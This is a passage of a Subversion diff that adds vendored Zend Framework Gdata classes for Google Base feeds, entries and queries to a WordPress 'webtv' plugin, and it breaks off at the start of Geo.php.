+     * @return DOMElement The DOMElement representing this element and all
+     *          child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        foreach ($this->_baseAttributes as $baseAttribute) {
+            $element->appendChild($baseAttribute->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them as members of this entry based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+
+        if (strstr($absoluteNodeName, $this->lookupNamespace('g') . ':')) {
+            $baseAttribute = new Zend_Gdata_Gbase_Extension_BaseAttribute();
+            $baseAttribute->transferFromDOM($child);
+            $this->_baseAttributes[] = $baseAttribute;
+        } else {
+            parent::takeChildFromDOM($child);
+        }
+    }
+
+    /**
+     * Get the value of the itme_type
+     *
+     * @return Zend_Gdata_Gbase_Extension_ItemType The requested object.
+     */
+    public function getItemType()
+    {
+        $itemType = $this->getGbaseAttribute('item_type');
+        if (is_object($itemType[0])) {
+          return $itemType[0];
+        } else {
+          return null;
+        }
+    }
+
+    /**
+     * Return all the Base attributes
+     * @return Zend_Gdata_Gbase_Extension_BaseAttribute
+     */
+    public function getGbaseAttributes() {
+        return $this->_baseAttributes;
+    }
+
+    /**
+     * Return an array of Base attributes that match the given attribute name
+     *
+     * @param string $name The name of the Base attribute to look for
+     * @return array $matches Array that contains the matching list of Base attributes
+     */
+    public function getGbaseAttribute($name)
+    {
+        $matches = array();
+        for ($i = 0; $i < count($this->_baseAttributes); $i++) {
+            $baseAttribute = $this->_baseAttributes[$i];
+            if ($baseAttribute->rootElement == $name &&
+                $baseAttribute->rootNamespaceURI == $this->lookupNamespace('g')) {
+                $matches[] = &$this->_baseAttributes[$i];
+            }
+        }
+        return $matches;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/Extension/BaseAttribute.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/Extension/BaseAttribute.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/Extension/BaseAttribute.php	(revision 44)
@@ -0,0 +1,115 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gbase
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ * @version    $Id: Entry.php 3941 2007-03-14 21:36:13Z darby $
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension_Element
+ */
+require_once 'Zend/Gdata/App/Extension/Element.php';
+
+/**
+ * Concrete class for working with ItemType elements.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gbase
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gbase_Extension_BaseAttribute extends Zend_Gdata_App_Extension_Element
+{
+
+    /**
+     * Namespace for Google Base elements
+     *
+     * var @string
+     */
+    protected $_rootNamespace = 'g';
+
+    /**
+     * Create a new instance.
+     *
+     * @param string $name (optional) The name of the Base attribute
+     * @param string $text (optional) The text value of the Base attribute
+     * @param string $text (optional) The type of the Base attribute
+     */
+    public function __construct($name = null, $text = null, $type = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Gbase::$namespaces);
+        if ($type !== null) {
+          $attr = array('name' => 'type', 'value' => $type);
+          $typeAttr = array('type' => $attr);
+          $this->setExtensionAttributes($typeAttr);
+        }
+        parent::__construct($name,
+                            $this->_rootNamespace,
+                            $this->lookupNamespace($this->_rootNamespace),
+                            $text);
+    }
+
+    /**
+     * Get the name of the attribute
+     *
+     * @return attribute name The requested object.
+     */
+    public function getName() {
+      return $this->_rootElement;
+    }
+
+    /**
+     * Get the type of the attribute
+     *
+     * @return attribute type The requested object.
+     */
+    public function getType() {
+      $typeAttr = $this->getExtensionAttributes();
+      return $typeAttr['type']['value'];
+    }
+
+    /**
+     * Set the 'name' of the Base attribute object:
+     *     &lt;g:[$name] type='[$type]'&gt;[$value]&lt;/g:[$name]&gt;
+     *
+     * @param Zend_Gdata_App_Extension_Element $attribute The attribute object
+     * @param string $name The name of the Base attribute
+     * @return Zend_Gdata_Extension_ItemEntry Provides a fluent interface
+     */
+    public function setName($name) {
+      $this->_rootElement = $name;
+      return $this;
+    }
+
+    /**
+     * Set the 'type' of the Base attribute object:
+     *     &lt;g:[$name] type='[$type]'&gt;[$value]&lt;/g:[$name]&gt;
+     *
+     * @param Zend_Gdata_App_Extension_Element $attribute The attribute object
+     * @param string $type The type of the Base attribute
+     * @return Zend_Gdata_Extension_ItemEntry Provides a fluent interface
+     */
+    public function setType($type) {
+      $attr = array('name' => 'type', 'value' => $type);
+      $typeAttr = array('type' => $attr);
+      $this->setExtensionAttributes($typeAttr);
+      return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/Feed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/Feed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/Feed.php	(revision 44)
@@ -0,0 +1,59 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gbase
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Feed
+ */
+require_once 'Zend/Gdata/Feed.php';
+
+/**
+ * Base class for the Google Base Feed
+ *
+ * @link http://code.google.com/apis/base/
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gbase
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gbase_Feed extends Zend_Gdata_Feed
+{
+    /**
+     * The classname for the feed.
+     *
+     * @var string
+     */
+    protected $_feedClassName = 'Zend_Gdata_Gbase_Feed';
+
+    /**
+     * Create a new instance.
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Gbase::$namespaces);
+        parent::__construct($element);
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/ItemEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/ItemEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/ItemEntry.php	(revision 44)
@@ -0,0 +1,160 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gbase
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Gbase_Entry
+ */
+require_once 'Zend/Gdata/Gbase/Entry.php';
+
+/**
+ * Concrete class for working with Item entries.
+ *
+ * @link http://code.google.com/apis/base/
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gbase
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gbase_ItemEntry extends Zend_Gdata_Gbase_Entry
+{
+    /**
+     * The classname for individual item entry elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_Gbase_ItemEntry';
+
+    /**
+     * Set the value of the itme_type
+     *
+     * @param Zend_Gdata_Gbase_Extension_ItemType $value The desired value for the item_type 
+     * @return Zend_Gdata_Gbase_ItemEntry Provides a fluent interface
+     */
+    public function setItemType($value)
+    {
+        $this->addGbaseAttribute('item_type', $value, 'text');
+        return $this;
+    }
+
+    /**
+     * Adds a custom attribute to the entry in the following format:
+     * &lt;g:[$name] type='[$type]'&gt;[$value]&lt;/g:[$name]&gt;      
+     *
+     * @param string $name The name of the attribute
+     * @param string $value The text value of the attribute
+     * @param string $type (optional) The type of the attribute.
+     *          e.g.: 'text', 'number', 'floatUnit'
+     * @return Zend_Gdata_Gbase_ItemEntry Provides a fluent interface
+     */
+    public function addGbaseAttribute($name, $text, $type = null) {
+        $newBaseAttribute =  new Zend_Gdata_Gbase_Extension_BaseAttribute($name, $text, $type);
+        $this->_baseAttributes[] = $newBaseAttribute;
+        return $this;
+    }
+
+    /**
+     * Removes a Base attribute from the current list of Base attributes
+     * 
+     * @param Zend_Gdata_Gbase_Extension_BaseAttribute $baseAttribute The attribute to be removed
+     * @return Zend_Gdata_Gbase_ItemEntry Provides a fluent interface
+     */
+    public function removeGbaseAttribute($baseAttribute) {
+        $baseAttributes = $this->_baseAttributes;
+        for ($i = 0; $i < count($this->_baseAttributes); $i++) {
+            if ($this->_baseAttributes[$i] == $baseAttribute) {
+                array_splice($baseAttributes, $i, 1);
+                break;
+            }
+        }
+        $this->_baseAttributes = $baseAttributes;
+        return $this;
+    }
+
+    /**
+     * Uploads changes in this entry to the server using Zend_Gdata_App
+     *
+     * @param boolean $dryRun Whether the transaction is dry run or not.
+     * @param string|null $uri The URI to send requests to, or null if $data
+     *        contains the URI.
+     * @param string|null $className The name of the class that should we
+     *        deserializing the server response. If null, then
+     *        'Zend_Gdata_App_Entry' will be used.
+     * @param array $extraHeaders Extra headers to add to the request, as an
+     *        array of string-based key/value pairs.
+     * @return Zend_Gdata_App_Entry The updated entry
+     * @throws Zend_Gdata_App_Exception
+     */
+    public function save($dryRun = false,
+                         $uri = null,
+                         $className = null,
+                         $extraHeaders = array())
+    {
+        if ($dryRun == true) {
+            $editLink = $this->getEditLink();
+            if ($uri == null && $editLink !== null) {
+                $uri = $editLink->getHref() . '?dry-run=true';
+            }
+            if ($uri === null) {
+                require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+                throw new Zend_Gdata_App_InvalidArgumentException('You must specify an URI which needs deleted.');
+            }
+            $service = new Zend_Gdata_App($this->getHttpClient());
+            return $service->updateEntry($this,
+                                         $uri,
+                                         $className,
+                                         $extraHeaders);
+        } else {
+            parent::save($uri, $className, $extraHeaders);
+        }
+    }
+
+    /**
+     * Deletes this entry to the server using the referenced
+     * Zend_Http_Client to do a HTTP DELETE to the edit link stored in this
+     * entry's link collection.
+     *
+     * @param boolean $dyrRun Whether the transaction is dry run or not
+     * @return void
+     * @throws Zend_Gdata_App_Exception
+     */
+    public function delete($dryRun = false)
+    {
+        $uri = null;
+
+        if ($dryRun == true) {
+            $editLink = $this->getEditLink();
+            if ($editLink !== null) {
+                $uri = $editLink->getHref() . '?dry-run=true';
+            }
+            if ($uri === null) {
+                require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+                throw new Zend_Gdata_App_InvalidArgumentException('You must specify an URI which needs deleted.');
+            }
+            parent::delete($uri);
+        } else {
+            parent::delete();
+        }
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/ItemFeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/ItemFeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/ItemFeed.php	(revision 44)
@@ -0,0 +1,47 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gbase
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Gbase_Feed
+ */
+require_once 'Zend/Gdata/Gbase/Feed.php';
+
+/**
+ * Represents the Google Base Customer Items Feed
+ *
+ * @link http://code.google.com/apis/base/
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gbase
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gbase_ItemFeed extends Zend_Gdata_Feed
+{
+    /**
+     * The classname for individual item feed elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_Gbase_ItemEntry';
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/ItemQuery.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/ItemQuery.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/ItemQuery.php	(revision 44)
@@ -0,0 +1,100 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gbase
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Query
+ */
+require_once('Zend/Gdata/Query.php');
+
+/**
+ * @see Zend_Gdata_Gbase_Query
+ */
+require_once('Zend/Gdata/Gbase/Query.php');
+
+
+/**
+ * Assists in constructing queries for Google Base Customer Items Feed
+ *
+ * @link http://code.google.com/apis/base/
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gbase
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gbase_ItemQuery extends Zend_Gdata_Gbase_Query
+{
+    /**
+     * Path to the customer items feeds on the Google Base server.
+     */
+    const GBASE_ITEM_FEED_URI = 'http://www.google.com/base/feeds/items';
+
+    /**
+     * The default URI for POST methods
+     *
+     * @var string
+     */    
+    protected $_defaultFeedUri = self::GBASE_ITEM_FEED_URI;
+
+    /**
+     * The id of an item
+     *
+     * @var string
+     */    
+    protected $_id = null;
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Gbase_ItemQuery Provides a fluent interface
+     */
+    public function setId($value)
+    {
+        $this->_id = $value;
+        return $this;
+    }
+
+    /*
+     * @return string id
+     */
+    public function getId()
+    {
+        return $this->_id;
+    }
+
+    /**
+     * Returns the query URL generated by this query instance.
+     * 
+     * @return string The query URL for this instance.
+     */
+    public function getQueryUrl()
+    {
+        $uri = $this->_defaultFeedUri;
+        if ($this->getId() !== null) {
+            $uri .= '/' . $this->getId();
+        } else {
+            $uri .= $this->getQueryString();
+        }
+        return $uri;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/Query.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/Query.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/Query.php	(revision 44)
@@ -0,0 +1,267 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gbase
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Query
+ */
+require_once('Zend/Gdata/Query.php');
+
+/**
+ * Assists in constructing queries for Google Base
+ *
+ * @link http://code.google.com/apis/base
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gbase
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gbase_Query extends Zend_Gdata_Query
+{
+
+    /**
+     * Path to the customer items feeds on the Google Base server.
+     */
+    const GBASE_ITEM_FEED_URI = 'http://www.google.com/base/feeds/items';
+
+    /**
+     * Path to the snippets feeds on the Google Base server.
+     */
+    const GBASE_SNIPPET_FEED_URI = 'http://www.google.com/base/feeds/snippets';
+
+    /**
+     * The default URI for POST methods
+     *
+     * @var string
+     */    
+    protected $_defaultFeedUri = self::GBASE_ITEM_FEED_URI;
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Gbase_Query Provides a fluent interface
+     */
+    public function setKey($value)
+    {
+        if ($value !== null) {
+            $this->_params['key'] = $value;
+        } else {
+            unset($this->_params['key']);
+        }
+        return $this;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Gbase_ItemQuery Provides a fluent interface
+     */
+    public function setBq($value)
+    {
+        if ($value !== null) {
+            $this->_params['bq'] = $value;
+        } else {
+            unset($this->_params['bq']);
+        }
+        return $this;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Gbase_ItemQuery Provides a fluent interface
+     */
+    public function setRefine($value)
+    {
+        if ($value !== null) {
+            $this->_params['refine'] = $value;
+        } else {
+            unset($this->_params['refine']);
+        }
+        return $this;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Gbase_ItemQuery Provides a fluent interface
+     */
+    public function setContent($value)
+    {
+        if ($value !== null) {
+            $this->_params['content'] = $value;
+        } else {
+            unset($this->_params['content']);
+        }
+        return $this;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Gbase_ItemQuery Provides a fluent interface
+     */
+    public function setOrderBy($value)
+    {
+        if ($value !== null) {
+            $this->_params['orderby'] = $value;
+        } else {
+            unset($this->_params['orderby']);
+        }
+        return $this;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Gbase_ItemQuery Provides a fluent interface
+     */
+    public function setSortOrder($value)
+    {
+        if ($value !== null) {
+            $this->_params['sortorder'] = $value;
+        } else {
+            unset($this->_params['sortorder']);
+        }
+        return $this;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Gbase_ItemQuery Provides a fluent interface
+     */
+    public function setCrowdBy($value)
+    {
+        if ($value !== null) {
+            $this->_params['crowdby'] = $value;
+        } else {
+            unset($this->_params['crowdby']);
+        }
+        return $this;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Gbase_ItemQuery Provides a fluent interface
+     */
+    public function setAdjust($value)
+    {
+        if ($value !== null) {
+            $this->_params['adjust'] = $value;
+        } else {
+            unset($this->_params['adjust']);
+        }
+        return $this;
+    }
+
+    /**
+     * @return string key
+     */
+    public function getKey()
+    {
+        if (array_key_exists('key', $this->_params)) {
+            return $this->_params['key'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * @return string bq
+     */
+    public function getBq()
+    {
+        if (array_key_exists('bq', $this->_params)) {
+            return $this->_params['bq'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * @return string refine
+     */
+    public function getRefine()
+    {
+        if (array_key_exists('refine', $this->_params)) {
+            return $this->_params['refine'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * @return string content
+     */
+    public function getContent()
+    {
+        if (array_key_exists('content', $this->_params)) {
+            return $this->_params['content'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * @return string orderby
+     */
+    public function getOrderBy()
+    {
+        if (array_key_exists('orderby', $this->_params)) {
+            return $this->_params['orderby'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * @return string sortorder
+     */
+    public function getSortOrder()
+    {
+        if (array_key_exists('sortorder', $this->_params)) {
+            return $this->_params['sortorder'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * @return string crowdby
+     */
+    public function getCrowdBy()
+    {
+        if (array_key_exists('crowdby', $this->_params)) {
+            return $this->_params['crowdby'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * @return string adjust
+     */
+    public function getAdjust()
+    {
+        if (array_key_exists('adjust', $this->_params)) {
+            return $this->_params['adjust'];
+        } else {
+            return null;
+        }
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/SnippetEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/SnippetEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/SnippetEntry.php	(revision 44)
@@ -0,0 +1,47 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gbase
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Gbase_Entry
+ */
+require_once 'Zend/Gdata/Gbase/Entry.php';
+
+/**
+ * Concrete class for working with Snippet entries.
+ *
+ * @link http://code.google.com/apis/base/
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gbase
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gbase_SnippetEntry extends Zend_Gdata_Gbase_Entry
+{
+    /**
+     * The classname for individual snippet entry elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_Gbase_SnippetEntry';
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/SnippetFeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/SnippetFeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/SnippetFeed.php	(revision 44)
@@ -0,0 +1,47 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gbase
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Gbase_Feed
+ */
+require_once 'Zend/Gdata/Gbase/Feed.php';
+
+/**
+ * Represents the Google Base Snippets Feed
+ *
+ * @link http://code.google.com/apis/base/
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gbase
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gbase_SnippetFeed extends Zend_Gdata_Feed
+{
+    /**
+     * The classname for individual snippet feed elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_Gbase_SnippetEntry';
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/SnippetQuery.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/SnippetQuery.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gbase/SnippetQuery.php	(revision 44)
@@ -0,0 +1,73 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gbase
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * Zend_Gdata_Query
+ */
+require_once('Zend/Gdata/Query.php');
+
+/**
+ * Zend_Gdata_Gbase_Query
+ */
+require_once('Zend/Gdata/Gbase/Query.php');
+
+/**
+ * Assists in constructing queries for Google Base Snippets Feed
+ *
+ * @link http://code.google.com/apis/base/
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gbase
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gbase_SnippetQuery extends Zend_Gdata_Gbase_Query
+{
+    /**
+     * Path to the snippets feeds on the Google Base server.
+     */
+    const BASE_SNIPPET_FEED_URI = 'http://www.google.com/base/feeds/snippets';
+
+    /**
+     * The default URI for POST methods
+     *
+     * @var string
+     */    
+    protected $_defaultFeedUri = self::BASE_SNIPPET_FEED_URI;
+
+    /**
+     * Returns the query URL generated by this query instance.
+     * 
+     * @return string The query URL for this instance.
+     */
+    public function getQueryUrl()
+    {
+        $uri = $this->_defaultFeedUri;
+        if ($this->getCategory() !== null) {
+            $uri .= '/-/' . $this->getCategory();
+        }
+        $uri .= $this->getQueryString();
+        return $uri;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Geo.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Geo.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Geo.php	(revision 44)
@@ -0,0 +1,69 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Geo
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata
+ */
+require_once 'Zend/Gdata.php';
+
+/**
+ * Service class for interacting with the services which use the
+ * GeoRSS + GML extensions.
+ * @link http://georss.org/
+ * @link http://www.opengis.net/gml/
+ * @link http://code.google.com/apis/picasaweb/reference.html#georss_reference
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
